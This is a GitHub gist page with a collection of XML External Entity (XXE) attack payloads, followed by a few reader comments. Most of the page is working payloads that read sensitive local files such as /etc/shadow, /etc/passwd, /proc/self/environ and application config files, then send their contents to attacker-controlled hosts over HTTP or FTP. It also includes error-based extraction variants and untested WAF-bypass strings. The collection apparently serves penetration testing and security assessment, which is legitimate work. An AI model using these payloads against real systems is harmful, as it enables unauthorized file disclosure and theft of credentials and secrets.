Instantly share code, notes, and snippets. Create a gist now

staaldraad / XXE_payloads

Last active 10 days ago

★ Star 245 Fork 101

<> Code Revisions 10 ★ Stars 245 Forks 101 Embed ▾ <script src="https://gis Download ZIP

XXE Payloads

XXE_payloads

Raw

```
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------

<?xml version="1.0" ?>
```

```
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
```

```

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
```

```

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

## External dtd: ##

<!ENTITY all "%start;%stuff;%end;">

------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

## External dtd: ##

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

-------------------------^ you might need to encode this % (depends on your target) as: &#x25;
```

```

--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>


## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
```

MERCY-VIYOLA commented on Apr 10, 2017

Thanks for these attack vectors, they are really helpful. ##
@staaldraad am just a newbie in this stuff so please, i need some clarification. I suppose that OOB extra ERROR --Java is meant to produce an error so as to get to know the inner working of the application and the File-not-found exception based extraction code is doing the same. Please help correct me or with a better explanation for those codes. Have you discovered some new XXE attack vectors which are totally different from what is here --> http://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html .

staaldraad commented on May 18, 2017 Owner

Hi, sorry for the delay. Turns out I don't get notifications on gist comments, or I missed it somehow.
These are largely a collection of different payloads I've used on assessments. Some I found for myself, while others I've picked up from blog-posts. I'm sure there is a big overlap with the link you posted, and there are some awesome payloads in there that I haven't tried, thanks!
With the OOB error based, I copied that from the work done by NetSPi : https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
They explain the mechanics really well 👍

MERCY-VIYOLA commented on Jul 1, 2017

Alright. Thanks.

utkarsh123456 commented on Aug 7, 2017 • edited ▾

Thanks, but any payloads/methods for the XSS if html encoding is implement?

galaris commented on Aug 10, 2017

pull request to seclist pls? :)